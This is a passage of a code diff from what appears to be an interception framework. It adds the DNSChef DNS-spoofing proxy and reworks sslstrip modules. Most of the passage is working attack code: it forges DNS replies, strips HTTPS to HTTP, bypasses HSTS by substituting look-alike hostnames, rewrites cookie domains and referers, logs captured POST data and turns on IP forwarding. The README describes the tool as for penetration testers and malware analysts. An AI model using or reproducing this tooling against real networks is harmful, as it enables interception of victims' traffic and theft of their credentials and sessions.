'A' for thesprawl.org + +It is possible to specify non-standard nameserver port using IP#PORT notation: + + # ./dnschef.py --nameservers 192.0.2.2#5353 -q + [*] DNSChef started on interface: 127.0.0.1 + [*] Using the following nameservers: 192.0.2.2#5353 + [*] No parameters were specified. Running in full proxy mode + [02:03:12] 127.0.0.1: proxying the response of type 'A' for thesprawl.org + +At the same time it is possible to start DNSChef itself on an alternative port using the *-p port#* parameter: + + # ./dnschef.py -p 5353 -q + [*] Listening on an alternative port 5353 + [*] DNSChef started on interface: 127.0.0.1 + [*] Using the following nameservers: 8.8.8.8 + [*] No parameters were specified. Running in full proxy mode + +DNS protocol can be used over UDP (default) or TCP. DNSChef implements a TCP mode which can be activated with the *--tcp* flag. + +Internal architecture +===================== + +Here is some information on the internals in case you need to adapt the tool for your needs. DNSChef is built on top of the SocketServer module and uses threading to help process multiple requests simultaneously. The tool is designed to listen on TCP or UDP ports (default is port 53) for incoming requests and forward those requests when necessary to a real DNS server over UDP. + +The excellent [dnslib library](https://bitbucket.org/paulc/dnslib/wiki/Home) is used to dissect and reassemble DNS packets. It is particularly useful when generating response packets based on queries. [IPy](https://github.com/haypo/python-ipy/) is used for IPv6 addresses manipulation. Both libraries come bundled with DNSChef to ease installation. + +DNSChef is capable of modifing queries for records of type "A", "AAAA", "MX", "CNAME", "NS", "TXT", "PTR", "NAPTR", "SOA", "ANY". It is very easy to expand or modify behavior for any record. Simply add another **if qtype == "RECORD TYPE")** entry and tell it what to reply with. + +Enjoy the tool and forward all requests and comments to iphelix [at] thesprawl.org. + +Happy hacking! + -Peter diff --git a/core/dnschef/__init__.py b/core/dnschef/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/core/dnschef/dnschef.py b/core/dnschef/dnschef.py new file mode 100755 index 0000000..971c787 --- /dev/null +++ b/core/dnschef/dnschef.py @@ -0,0 +1,502 @@ +#!/usr/bin/env python2.7 +# +# DNSChef is a highly configurable DNS Proxy for Penetration Testers +# and Malware Analysts. Please visit http://thesprawl.org/projects/dnschef/ +# for the latest version and documentation. Please forward all issues and +# concerns to iphelix [at] thesprawl.org. + +# Copyright (C) 2015 Peter Kacherginsky, Marcello Salvati +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this +# list of conditions and the following disclaimer. +# 2. Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. +# 3. Neither the name of the copyright holder nor the names of its contributors +# may be used to endorse or promote products derived from this software without +# specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +import threading, random, operator, time +import SocketServer, socket, sys, os +import binascii +import string +import base64 +import time +import logging + +from configobj import ConfigObj +from core.configwatcher import ConfigWatcher + +from dnslib import * +from IPy import IP + +formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +dnschef_logger = logging.getLogger('dnschef') +fileHandler = logging.FileHandler("./logs/dnschef/dnschef.log") +fileHandler.setFormatter(formatter) +dnschef_logger.addHandler(fileHandler) + +# DNSHandler Mixin. The class contains generic functions to parse DNS requests and +# calculate an appropriate response based on user parameters. +class DNSHandler(): + + def parse(self,data): + + nametodns = DNSChef.getInstance().nametodns + nameservers = DNSChef.getInstance().nameservers + hsts = DNSChef.getInstance().hsts + hstsconfig = DNSChef.getInstance().real_records + server_address = DNSChef.getInstance().server_address + + response = "" + + try: + # Parse data as DNS + d = DNSRecord.parse(data) + + except Exception, e: + dnschef_logger.info("{} ERROR: invalid DNS request".format(self.client_address[0])) + + else: + # Only Process DNS Queries + if QR[d.header.qr] == "QUERY": + + # Gather query parameters + # NOTE: Do not lowercase qname here, because we want to see + # any case request weirdness in the logs. + qname = str(d.q.qname) + + # Chop off the last period + if qname[-1] == '.': qname = qname[:-1] + + qtype = QTYPE[d.q.qtype] + + # Find all matching fake DNS records for the query name or get False + fake_records = dict() + + for record in nametodns: + + fake_records[record] = self.findnametodns(qname, nametodns[record]) + + if hsts: + if qname in hstsconfig: + response = self.hstsbypass(hstsconfig[qname], qname, nameservers, d) + return response + + elif qname[:4] == 'wwww': + response = self.hstsbypass(qname[1:], qname, nameservers, d) + return response + + elif qname[:3] == 'web': + response = self.hstsbypass(qname[3:], qname, nameservers, d) + return response + + # Check if there is a fake record for the current request qtype + if qtype in fake_records and fake_records[qtype]: + + fake_record = fake_records[qtype] + + # Create a custom response to the query + response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q) + + dnschef_logger.info("{} cooking the response of type '{}' for {} to {}".format(self.client_address[0], qtype, qname, fake_record)) + + # IPv6 needs additional work before inclusion: + if qtype == "AAAA": + ipv6 = IP(fake_record) + ipv6_bin = ipv6.strBin() + ipv6_hex_tuple = [int(ipv6_bin[i:i+8],2) for i in xrange(0,len(ipv6_bin),8)] + response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](ipv6_hex_tuple))) + + elif qtype == "SOA": + mname,rname,t1,t2,t3,t4,t5 = fake_record.split(" ") + times = tuple([int(t) for t in [t1,t2,t3,t4,t5]]) + + # dnslib doesn't like trailing dots + if mname[-1] == ".": mname = mname[:-1] + if rname[-1] == ".": rname = rname[:-1] + + response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](mname,rname,times))) + + elif qtype == "NAPTR": + order,preference,flags,service,regexp,replacement = fake_record.split(" ") + order = int(order) + preference = int(preference) + + # dnslib doesn't like trailing dots + if replacement[-1] == ".": replacement = replacement[:-1] + + response.add_answer( RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](order,preference,flags,service,regexp,DNSLabel(replacement))) ) + + elif qtype == "SRV": + priority, weight, port, target = fake_record.split(" ") + priority = int(priority) + weight = int(weight) + port = int(port) + if target[-1] == ".": target = target[:-1] + + response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](priority, weight, port, target) )) + + elif qtype == "DNSKEY": + flags, protocol, algorithm, key = fake_record.split(" ") + flags = int(flags) + protocol = int(protocol) + algorithm = int(algorithm) + key = base64.b64decode(("".join(key)).encode('ascii')) + + response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](flags, protocol, algorithm, key) )) + + elif qtype == "RRSIG": + covered, algorithm, labels, orig_ttl, sig_exp, sig_inc, key_tag, name, sig = fake_record.split(" ") + covered = getattr(QTYPE,covered) # NOTE: Covered QTYPE + algorithm = int(algorithm) + labels = int(labels) + orig_ttl = int(orig_ttl) + sig_exp = int(time.mktime(time.strptime(sig_exp +'GMT',"%Y%m%d%H%M%S%Z"))) + sig_inc = int(time.mktime(time.strptime(sig_inc +'GMT',"%Y%m%d%H%M%S%Z"))) + key_tag = int(key_tag) + if name[-1] == '.': name = name[:-1] + sig = base64.b64decode(("".join(sig)).encode('ascii')) + + response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](covered, algorithm, labels,orig_ttl, sig_exp, sig_inc, key_tag, name, sig))) + + else: + # dnslib doesn't like trailing dots + if fake_record[-1] == ".": fake_record = fake_record[:-1] + response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](fake_record))) + + response = response.pack() + + elif qtype == "*" and not None in fake_records.values(): + dnschef_logger.info("{} cooking the response of type '{}' for {} with {}".format(self.client_address[0], "ANY", qname, "all known fake records.")) + + response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap,qr=1, aa=1, ra=1), q=d.q) + + for qtype,fake_record in fake_records.items(): + if fake_record: + + # NOTE: RDMAP is a dictionary map of qtype strings to handling classses + # IPv6 needs additional work before inclusion: + if qtype == "AAAA": + ipv6 = IP(fake_record) + ipv6_bin = ipv6.strBin() + fake_record = [int(ipv6_bin[i:i+8],2) for i in xrange(0,len(ipv6_bin),8)] + + elif qtype == "SOA": + mname,rname,t1,t2,t3,t4,t5 = fake_record.split(" ") + times = tuple([int(t) for t in [t1,t2,t3,t4,t5]]) + + # dnslib doesn't like trailing dots + if mname[-1] == ".": mname = mname[:-1] + if rname[-1] == ".": rname = rname[:-1] + + response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](mname,rname,times))) + + elif qtype == "NAPTR": + order,preference,flags,service,regexp,replacement = fake_record.split(" ") + order = int(order) + preference = int(preference) + + # dnslib doesn't like trailing dots + if replacement and replacement[-1] == ".": replacement = replacement[:-1] + + response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](order,preference,flags,service,regexp,replacement))) + + elif qtype == "SRV": + priority, weight, port, target = fake_record.split(" ") + priority = int(priority) + weight = int(weight) + port = int(port) + if target[-1] == ".": target = target[:-1] + + response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](priority, weight, port, target) )) + + elif qtype == "DNSKEY": + flags, protocol, algorithm, key = fake_record.split(" ") + flags = int(flags) + protocol = int(protocol) + algorithm = int(algorithm) + key = base64.b64decode(("".join(key)).encode('ascii')) + + response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](flags, protocol, algorithm, key) )) + + elif qtype == "RRSIG": + covered, algorithm, labels, orig_ttl, sig_exp, sig_inc, key_tag, name, sig = fake_record.split(" ") + covered = getattr(QTYPE,covered) # NOTE: Covered QTYPE + algorithm = int(algorithm) + labels = int(labels) + orig_ttl = int(orig_ttl) + sig_exp = int(time.mktime(time.strptime(sig_exp +'GMT',"%Y%m%d%H%M%S%Z"))) + sig_inc = int(time.mktime(time.strptime(sig_inc +'GMT',"%Y%m%d%H%M%S%Z"))) + key_tag = int(key_tag) + if name[-1] == '.': name = name[:-1] + sig = base64.b64decode(("".join(sig)).encode('ascii')) + + response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](covered, algorithm, labels,orig_ttl, sig_exp, sig_inc, key_tag, name, sig) )) + + else: + # dnslib doesn't like trailing dots + if fake_record[-1] == ".": fake_record = fake_record[:-1] + response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](fake_record))) + + response = response.pack() + + # Proxy the request + else: + dnschef_logger.debug("[DNSChef] {} proxying the response of type '{}' for {}".format(self.client_address[0], qtype, qname)) + + nameserver_tuple = random.choice(nameservers).split('#') + response = self.proxyrequest(data, *nameserver_tuple) + + return response + + + # Find appropriate ip address to use for a queried name. The function can + def findnametodns(self,qname,nametodns): + + # Make qname case insensitive + qname = qname.lower() + + # Split and reverse qname into components for matching. + qnamelist = qname.split('.') + qnamelist.reverse() + + # HACK: It is important to search the nametodns dictionary before iterating it so that + # global matching ['*.*.*.*.*.*.*.*.*.*'] will match last. Use sorting for that. + for domain,host in sorted(nametodns.iteritems(), key=operator.itemgetter(1)): + + # NOTE: It is assumed that domain name was already lowercased + # when it was loaded through --file, --fakedomains or --truedomains + # don't want to waste time lowercasing domains on every request. + + # Split and reverse domain into components for matching + domain = domain.split('.') + domain.reverse() + + # Compare domains in reverse. + for a,b in map(None,qnamelist,domain): + if a != b and b != "*": + break + else: + # Could be a real IP or False if we are doing reverse matching with 'truedomains' + return host + else: + return False + + # Obtain a response from a real DNS server. + def proxyrequest(self, request, host, port="53", protocol="udp"): + reply = None + try: + if DNSChef.getInstance().ipv6: + + if protocol == "udp": + sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) + elif protocol == "tcp": + sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) + + else: + if protocol == "udp": + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + elif protocol == "tcp": + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + sock.settimeout(3.0) + + # Send the proxy request to a randomly chosen DNS server + + if protocol == "udp": + sock.sendto(request, (host, int(port))) + reply = sock.recv(1024) + sock.close() + + elif protocol == "tcp": + sock.connect((host, int(port))) + + # Add length for the TCP request + length = binascii.unhexlify("%04x" % len(request)) + sock.sendall(length+request) + + # Strip length from the response + reply = sock.recv(1024) + reply = reply[2:] + + sock.close() + + except Exception, e: + dnschef_logger.warning("could not proxy request: {}".format(e)) + else: + return reply + + def hstsbypass(self, real_domain, fake_domain, nameservers, d): + + dnschef_logger.info("{} resolving '{}' to '{}' for HSTS bypass".format(self.client_address[0], fake_domain, real_domain)) + + response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q) + + nameserver_tuple = random.choice(nameservers).split('#') + + #First proxy the request with the real domain + q = DNSRecord.question(real_domain).pack() + r = self.proxyrequest(q, *nameserver_tuple) + + #Parse the answer + dns_rr = DNSRecord.parse(r).rr + + #Create the DNS response + for res in dns_rr: + if res.get_rname() == real_domain: + res.set_rname(fake_domain) + response.add_answer(res) + else: + response.add_answer(res) + + return response.pack() + +# UDP DNS Handler for incoming requests +class UDPHandler(DNSHandler, SocketServer.BaseRequestHandler): + + def handle(self): + (data,socket) = self.request + response = self.parse(data) + + if response: + socket.sendto(response, self.client_address) + +# TCP DNS Handler for incoming requests +class TCPHandler(DNSHandler, SocketServer.BaseRequestHandler): + + def handle(self): + data = self.request.recv(1024) + + # Remove the addition "length" parameter used in the + # TCP DNS protocol + data = data[2:] + response = self.parse(data) + + if response: + # Calculate and add the additional "length" parameter + # used in TCP DNS protocol + length = binascii.unhexlify("%04x" % len(response)) + self.request.sendall(length+response) + +class ThreadedUDPServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): + + # Override SocketServer.UDPServer to add extra parameters + def __init__(self, server_address, RequestHandlerClass): + self.address_family = socket.AF_INET6 if DNSChef.getInstance().ipv6 else socket.AF_INET + + SocketServer.UDPServer.__init__(self,server_address,RequestHandlerClass) + +class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): + + # Override default value + allow_reuse_address = True + + # Override SocketServer.TCPServer to add extra parameters + def __init__(self, server_address, RequestHandlerClass): + self.address_family = socket.AF_INET6 if DNSChef.getInstance().ipv6 else socket.AF_INET + + SocketServer.TCPServer.__init__(self,server_address,RequestHandlerClass) + +class DNSChef(ConfigWatcher): + + _instance = None + + tcp = False + ipv6 = False + hsts = False + real_records = dict() + nametodns = dict() + server_address = "0.0.0.0" + nameservers = ["8.8.8.8"] + port = 53 + + @staticmethod + def getInstance(): + if DNSChef._instance == None: + DNSChef._instance = DNSChef() + + return DNSChef._instance + + def onConfigChange(self): + config = self.config['MITMf']['DNS'] + + self.port = int(config['port']) + + # Main storage of domain filters + # NOTE: RDMAP is a dictionary map of qtype strings to handling classe + for qtype in RDMAP.keys(): + self.nametodns[qtype] = dict() + + # Adjust defaults for IPv6 + if config['ipv6'].lower() == 'on': + self.ipv6 = True + if config['nameservers'] == "8.8.8.8": + self.nameservers = "2001:4860:4860::8888" + + # Use alternative DNS servers + if config['nameservers']: + self.nameservers = config['nameservers'].split(',') + + for section in config.sections: + + if section in self.nametodns: + for domain,record in config[section].iteritems(): + + # Make domain case insensitive + domain = domain.lower() + + self.nametodns[section][domain] = record + + for k,v in self.config["SSLstrip+"].iteritems(): + self.real_records[v] = k + + def setHstsBypass(self): + self.hsts = True + + def start(self): + self.onConfigChange() + self.startConfigWatch() + + if self.config['MITMf']['DNS']['tcp'].lower() == 'on': + self.startTCP() + else: + self.startUDP() + + # Initialize and start the DNS Server + def startUDP(self): + server = ThreadedUDPServer((self.server_address, int(self.port)), UDPHandler) + # Start a thread with the server -- that thread will then start + # more threads for each request + server_thread = threading.Thread(target=server.serve_forever) + + # Exit the server thread when the main thread terminates + server_thread.daemon = True + server_thread.start() + + # Initialize and start the DNS Server + def startTCP(self): + server = ThreadedTCPServer((self.server_address, int(self.port)), TCPHandler) + + # Start a thread with the server -- that thread will then start + # more threads for each request + server_thread = threading.Thread(target=server.serve_forever) + + # Exit the server thread when the main thread terminates + server_thread.daemon = True + server_thread.start() diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py index 11db682..721438b 100644 --- a/core/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -49,17 +49,15 @@ class ClientRequest(Request): Request.__init__(self, channel, queued) self.reactor = reactor self.urlMonitor = URLMonitor.getInstance() - self.hsts = URLMonitor.getInstance().isHstsBypass() + self.hsts = URLMonitor.getInstance().hsts self.cookieCleaner = CookieCleaner.getInstance() self.dnsCache = DnsCache.getInstance() self.plugins = ProxyPlugins.getInstance() #self.uniqueId = random.randint(0, 10000) #Use are own DNS server instead of reactor.resolve() - self.resolver = URLMonitor.getInstance().getResolver() self.customResolver = dns.resolver.Resolver() self.customResolver.nameservers = ['127.0.0.1'] - self.customResolver.port = URLMonitor.getInstance().getResolverPort() def cleanHeaders(self): headers = self.getAllHeaders().copy() @@ -70,7 +68,7 @@ class ClientRequest(Request): if self.hsts: if 'referer' in headers: - real = self.urlMonitor.real + real = self.urlMonitor.getHstsConfig()[0] if len(real) > 0: dregex = re.compile("({})".format("|".join(map(re.escape, real.keys())))) headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer']) @@ -133,7 +131,7 @@ class ClientRequest(Request): if self.hsts: host = self.urlMonitor.URLgetRealHost(str(host)) - real = self.urlMonitor.real + real = self.urlMonitor.getHstsConfig()[0] patchDict = self.urlMonitor.patchDict url = 'http://' + host + path self.uri = url # set URI to absolute @@ -179,7 +177,7 @@ class ClientRequest(Request): self.proxyViaHTTP(address, self.method, path, postData, headers, port) def handleHostResolvedError(self, error): - mitmf_logger.debug("[ClientRequest] Host resolution error: " + str(error)) + mitmf_logger.debug("[ClientRequest] Host resolution error: {}".format(error)) try: self.finish() except: @@ -195,16 +193,20 @@ class ClientRequest(Request): mitmf_logger.debug("[ClientRequest] Host not cached.") - if self.resolver == 'dnschef': + if self.urlMonitor.getResolver() == 'dnschef': + + self.customResolver.port = self.urlMonitor.getResolverPort() + try: mitmf_logger.debug("[ClientRequest] Resolving with DNSChef") address = str(self.customResolver.query(host)[0].address) return defer.succeed(address) except Exception: - mitmf_logger.debug("[ClientRequest] Exception occured, falling back to reactor.resolve()") + mitmf_logger.debug("[ClientRequest] Exception occured, falling back to Twisted") return reactor.resolve(host) - elif self.resolver == 'twisted': + elif self.urlMonitor.getResolver() == 'twisted': + mitmf_logger.debug("[ClientRequest] Resolving with Twisted") return reactor.resolve(host) def process(self): diff --git a/core/sslstrip/SSLServerConnection.py b/core/sslstrip/SSLServerConnection.py index 406d100..f0db397 100644 --- a/core/sslstrip/SSLServerConnection.py +++ b/core/sslstrip/SSLServerConnection.py @@ -40,7 +40,7 @@ class SSLServerConnection(ServerConnection): def __init__(self, command, uri, postData, headers, client): ServerConnection.__init__(self, command, uri, postData, headers, client) self.urlMonitor = URLMonitor.getInstance() - self.hsts = URLMonitor.getInstance().isHstsBypass() + self.hsts = URLMonitor.getInstance().hsts def getLogLevel(self): return logging.INFO @@ -58,7 +58,7 @@ class SSLServerConnection(ServerConnection): if v[:7].lower()==' domain': dominio=v.split("=")[1] mitmf_logger.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v) - real = self.urlMonitor.sustitucion + real = self.urlMonitor.getHstsConfig()[1] if dominio in real: v=" Domain=%s"%real[dominio] mitmf_logger.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v) @@ -85,13 +85,13 @@ class SSLServerConnection(ServerConnection): if ((not link.startswith('http')) and (not link.startswith('/'))): absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link - mitmf_logger.debug("Found path-relative link in secure transmission: " + link) - mitmf_logger.debug("New Absolute path-relative link: " + absoluteLink) + mitmf_logger.debug("[SSLServerConnection] Found path-relative link in secure transmission: " + link) + mitmf_logger.debug("[SSLServerConnection] New Absolute path-relative link: " + absoluteLink) elif not link.startswith('http'): absoluteLink = "http://"+self.headers['host']+link - mitmf_logger.debug("Found relative link in secure transmission: " + link) - mitmf_logger.debug("New Absolute link: " + absoluteLink) + mitmf_logger.debug("[SSLServerConnection] Found relative link in secure transmission: " + link) + mitmf_logger.debug("[SSLServerConnection] New Absolute link: " + absoluteLink) if not absoluteLink == "": absoluteLink = absoluteLink.replace('&', '&') diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index d5acf5f..d048d6e 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -55,8 +55,8 @@ class ServerConnection(HTTPClient): self.client = client self.clientInfo = None self.urlMonitor = URLMonitor.getInstance() - self.hsts = URLMonitor.getInstance().isHstsBypass() - self.app = URLMonitor.getInstance().isAppCachePoisoning() + self.hsts = URLMonitor.getInstance().hsts + self.app = URLMonitor.getInstance().app self.plugins = ProxyPlugins.getInstance() self.isImageRequest = False self.isCompressed = False @@ -70,7 +70,7 @@ class ServerConnection(HTTPClient): if self.command == 'GET': try: user_agent = parse(self.headers['user-agent']) - self.clientInfo = "{0} [type:{1}-{2} os:{3}] ".format(self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family) + self.clientInfo = "{} [type:{}-{} os:{}] ".format(self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family) except: self.clientInfo = "{} ".format(self.client.getClientIP()) @@ -93,7 +93,7 @@ class ServerConnection(HTTPClient): elif 'keylog' in self.uri: self.plugins.hook() else: - mitmf_logger.warning("{0} {1} Data ({2}):\n{3}".format(self.client.getClientIP(), self.getPostPrefix(), self.headers['host'], self.postData)) + mitmf_logger.warning("{} {} Data ({}):\n{}".format(self.client.getClientIP(), self.getPostPrefix(), self.headers['host'], self.postData)) self.transport.write(self.postData) def connectionMade(self): @@ -106,7 +106,7 @@ class ServerConnection(HTTPClient): self.sendPostData() def handleStatus(self, version, code, message): - mitmf_logger.debug("[ServerConnection] Server response: {0} {1} {2}".format(version, code, message)) + mitmf_logger.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message)) self.client.setResponseCode(int(code), message) def handleHeader(self, key, value): diff --git a/core/sslstrip/ServerConnectionFactory.py b/core/sslstrip/ServerConnectionFactory.py index 759eaef..a64c800 100644 --- a/core/sslstrip/ServerConnectionFactory.py +++ b/core/sslstrip/ServerConnectionFactory.py @@ -34,12 +34,12 @@ class ServerConnectionFactory(ClientFactory): return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) def clientConnectionFailed(self, connector, reason): - mitmf_logger.debug("Server connection failed.") + mitmf_logger.debug("[ServerConnectionFactory] Server connection failed.") destination = connector.getDestination() if (destination.port != 443): - mitmf_logger.debug("Retrying via SSL") + mitmf_logger.debug("[ServerConnectionFactory] Retrying via SSL") self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) else: try: diff --git a/core/sslstrip/URLMonitor.py b/core/sslstrip/URLMonitor.py index 56e7de3..4d632f1 100644 --- a/core/sslstrip/URLMonitor.py +++ b/core/sslstrip/URLMonitor.py @@ -18,6 +18,7 @@ import re, os import logging +from core.ConfigWatcher import ConfigWatcher mitmf_logger = logging.getLogger('mimtf') @@ -31,8 +32,6 @@ class URLMonitor: # Start the arms race, and end up here... javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] _instance = None - sustitucion = {} # LEO: diccionario host / sustitucion - real = {} # LEO: diccionario host / real patchDict = { 'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net', 'https:\/\/www.facebook.com':'http:\/\/social.facebook.com', @@ -46,9 +45,6 @@ class URLMonitor: self.faviconReplacement = False self.hsts = False self.app = False - self.hsts_config = None - self.resolver = 'dnschef' - self.resolverport = 53 @staticmethod def getInstance(): @@ -57,21 +53,13 @@ class URLMonitor: return URLMonitor._instance - #This is here because I'm lazy - def setResolver(self, resolver): - self.resolver = str(resolver).lower() - #This is here because I'm lazy def getResolver(self): - return self.resolver - - #This is here because I'm lazy - def setResolverPort(self, port): - self.resolverport = int(port) + return ConfigWatcher.getInstance().getConfig()['MITMf']['DNS']['resolver'].lower() #This is here because I'm lazy def getResolverPort(self): - return self.resolverport + return int(ConfigWatcher.getInstance().getConfig()['MITMf']['DNS']['port']) def isSecureLink(self, client, url): for expression in URLMonitor.javascriptTrickery: @@ -92,7 +80,7 @@ class URLMonitor: s.add(to_url) return url_set = set([from_url, to_url]) - mitmf_logger.debug("[URLMonitor][AppCachePoison] Set redirection: %s" % url_set) + mitmf_logger.debug("[URLMonitor][AppCachePoison] Set redirection: {}".format(url_set)) self.redirects.append(url_set) def getRedirectionSet(self, url): @@ -123,15 +111,15 @@ class URLMonitor: port = 443 if self.hsts: - if not self.sustitucion.has_key(host): + if not self.getHstsConfig[1].has_key(host): lhost = host[:4] if lhost=="www.": - self.sustitucion[host] = "w"+host - self.real["w"+host] = host + self.getHstsConfig[1][host] = "w"+host + self.getHstsConfig[0]["w"+host] = host else: - self.sustitucion[host] = "web"+host - self.real["web"+host] = host - mitmf_logger.debug("[URLMonitor][HSTS] SSL host (%s) tokenized (%s)" % (host,self.sustitucion[host]) ) + self.getHstsConfig[1][host] = "web"+host + self.getHstsConfig[0]["web"+host] = host + mitmf_logger.debug("[URLMonitor][HSTS] SSL host ({}) tokenized ({})".format(host, self.getHstsConfig[1][host])) url = 'http://' + host + path #mitmf_logger.debug("HSTS stripped URL: %s %s"%(client, url)) @@ -139,7 +127,7 @@ class URLMonitor: self.strippedURLs.add((client, url)) self.strippedURLPorts[(client, url)] = int(port) - return 'http://'+ self.sustitucion[host] + path + return 'http://'+ self.getHstsConfig[1][host] + path else: url = method + host + path @@ -150,40 +138,35 @@ class URLMonitor: def setFaviconSpoofing(self, faviconSpoofing): self.faviconSpoofing = faviconSpoofing - def setHstsBypass(self, hstsconfig): - self.hsts = True - self.hsts_config = hstsconfig + def getHstsConfig(self): + sustitucion = dict() + real = dict() - for k,v in self.hsts_config.iteritems(): - self.sustitucion[k] = v - self.real[v] = k + for k,v in ConfigWatcher.getInstance().getConfig()['SSLstrip+']: + sustitucion[k] = v + real[v] = k + + return (real, sustitucion) + + def setHstsBypass(self): + self.hsts = True def setAppCachePoisoning(self): self.app = True - def setClientLogging(self, clientLogging): - self.clientLogging = clientLogging - def isFaviconSpoofing(self): return self.faviconSpoofing - def isClientLogging(self): - return self.clientLogging - - def isHstsBypass(self): - return self.hsts - - def isAppCachePoisoning(self): - return self.app - def isSecureFavicon(self, client, url): return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) def URLgetRealHost(self, host): - mitmf_logger.debug("[URLMonitor][HSTS] Parsing host: %s"% host) - if self.real.has_key(host): - mitmf_logger.debug("[URLMonitor][HSTS] Found host in list: %s"% self.real[host]) - return self.real[host] + mitmf_logger.debug("[URLMonitor][HSTS] Parsing host: {}".format(host)) + + if self.getHstsConfig()[0].has_key(host): + mitmf_logger.debug("[URLMonitor][HSTS] Found host in list: {}".format(self.getHstsConfig()[0][host])) + return self.getHstsConfig()[0][host] + else: - mitmf_logger.debug("[URLMonitor][HSTS] Host not in list: %s"% host) + mitmf_logger.debug("[URLMonitor][HSTS] Host not in list: {}".format(host)) return host diff --git a/core/utils.py b/core/utils.py index 233f959..4d83911 100644 --- a/core/utils.py +++ b/core/utils.py @@ -20,58 +20,71 @@ # import os -import random -import linecache import sys +import random +import logging -def PrintException(): - exc_type, exc_obj, tb = sys.exc_info() - f = tb.tb_frame - lineno = tb.tb_lineno - filename = f.f_code.co_filename - linecache.checkcache(filename) - line = linecache.getline(filename, lineno, f.f_globals) - return '({}, LINE {} "{}"): {}'.format(filename, lineno, line.strip(), exc_obj) +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy +from scapy.all import get_if_addr, get_if_hwaddr class SystemConfig: - @staticmethod - def setIpForwarding(value): - with open('/proc/sys/net/ipv4/ip_forward', 'w') as file: - file.write(str(value)) - file.close() + @staticmethod + def setIpForwarding(value): + with open('/proc/sys/net/ipv4/ip_forward', 'w') as file: + file.write(str(value)) + file.close() + + @staticmethod + def getIP(interface): + try: + ip_address = get_if_addr(interface) + if (ip_address == "0.0.0.0") or (ip_address is None): + sys.exit("[-] Interface {} does not have an assigned IP address".format(interface)) + + return ip_address + except Exception, e: + sys.exit("[-] Error retrieving IP address from {}: {}".format(interface, e)) + + @staticmethod + def getMAC(interface): + try: + mac_address = get_if_hwaddr(interface) + return mac_address + except Exception, e: + sys.exit("[-] Error retrieving MAC address from {}: {}".format(interface, e)) class IpTables: - _instance = None + _instance = None - def __init__(self): - self.dns = False - self.http = False + def __init__(self): + self.dns = False + self.http = False - @staticmethod - def getInstance(): - if IpTables._instance == None: - IpTables._instance = 